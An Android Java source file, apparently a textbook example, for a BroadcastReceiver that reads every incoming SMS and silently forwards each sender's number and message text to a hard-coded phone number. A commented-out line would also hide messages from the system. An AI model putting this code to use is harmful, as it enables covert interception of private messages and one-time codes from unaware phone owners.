BroadcastReceive完成的一个短信监听程序
/** * */ package org.crazyit.broadcast; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; import android.widget.Toast; /** * Description: * <br/>网站: <a href="http://www.crazyit.org">疯狂Java联盟</a> * <br/>Copyright (C), 2001-2014, Yeeku.H.Lee * <br/>This program is protected by copyright laws. * <br/>Program Name: * <br/>Date: * @author Yeeku.H.Lee kongyeeku@163.com * @version 1.0 */ public class SmsReceiver extends BroadcastReceiver { SmsManager sManager; // 当接收到短信时被触发 @Override public void onReceive(Context context, Intent intent) { sManager = SmsManager.getDefault(); // 如果是接收到短信 if (intent.getAction().equals( "android.provider.Telephony.SMS_RECEIVED")) { // 取消广播(这行代码将会让系统收不到短信) // abortBroadcast(); //① StringBuilder sb = new StringBuilder(); // 接收由SMS传过来的数据 Bundle bundle = intent.getExtras(); // 判断是否有数据 if (bundle != null) { // 通过pdus可以获得接收到的所有短信消息 Object[] pdus = (Object[]) bundle.get("pdus"); // 构建短信对象array,并依据收到的对象长度来创建array的大小 SmsMessage[] messages = new SmsMessage[pdus.length]; for (int i = 0; i < pdus.length; i++) { messages[i] = SmsMessage .createFromPdu((byte[]) pdus[i]); } // 将送来的短信合并自定义信息于StringBuilder当中 for (SmsMessage message : messages) { sb.append("来源:"); // 获得接收短信的电话号码 sb.append(message.getDisplayOriginatingAddress()); sb.append("\n--内容--\n"); // 获得短信的内容 sb.append(message.getDisplayMessageBody()); } } // Toast.makeText(context, sb.toString() // , Toast.LENGTH_LONG).show(); PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), 0); // 发送短信 Log.v("receiver","pendingintent"+pendingIntent.toString()); sManager.sendTextMessage("153xxxxxxxx",null,sb.toString(), pendingIntent, null); Log.v("receiver","sms"); } } }